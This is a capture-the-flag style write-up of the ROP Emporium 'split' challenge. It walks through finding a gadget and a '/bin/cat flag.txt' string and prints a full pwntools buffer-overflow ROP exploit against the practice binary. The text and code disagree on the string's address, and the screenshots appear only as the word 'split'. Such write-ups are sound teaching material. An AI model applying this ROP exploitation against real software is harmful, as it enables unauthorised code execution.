ropemporium - split

ropemporium - split

2024, Dec 23    

The second challenge of Ropemporium consist of forging a little ROP chain in order to call the imported function “system” with specified parameters, found in a string in the code with the “/bin/cat flag.txt” value.

Checking the program protections first with pwn checksec we discovered the following protections:

  • NX (Non executable stack)

split

Then we identified the imported functions using rabin2 in order to check the “system” functing being properly imported.

split

Then, checking for the functions that the program have, we discovered the function named “usefulFunction”.

split

Disassembling the functions with gdb, we found that the code is just putting a random value inside EDI, then calling “system” function (the string in question is just “/bin/ls”).

split

The challenge here is to pass a proper parameter in order to call the “system” function, so we could read the flag.

Searching for specific instructions that the challenge gave us, we found an interesting string named “usefulString” with the “/bin/cat flag.txt” inside of it:

split split

We could find the address of “usefulString”: split

0x601069

Great! Now we just combine that as a parameter with a gadget found in a way to push that value to the RDI register as we can see in the function calling convention.

split

Checking for gadgets we could use inside the code, we found a gadget really adequate for our needs:

split

Getting its address

0x4007c3

Now we can create a payload with the following logic to exploit the code and run the desired system with the parameters to cat our way to the flag.

Forging the ROP chain to inject

(Buffer fill) + ('pop rdi; ret' gadget) + ('/bin/cat flag/txt' address) + ('system' function address)

Giving us the final exploitation code:

from pwn import *

POP_RDI = 0x4007c3
CAT_FLAG = 0x601060
SYSTEM_FUNC = 0x40074b


elf = context.binary = ELF('./split')

io = process(elf.path)

info("Sending 128 byte cyclic pattern")
io.send(cyclic(128))

info("Awaiting program to crash...")
io.wait()

info("Dumping corefile")
core = io.corefile
stack = core.rsp

pattern = core.read(stack, 8)
info("%r : Pattern found", pattern)

info("Creating payload...")

rop = p64(POP_RDI)+p64(CAT_FLAG)+p64(SYSTEM_FUNC)

payload = flat({pattern: rop})

info("Sending Payload: %r", payload)

io = process(elf.path)
io.sendline(payload)
io.interactive()

Running it we could obtain the flag: split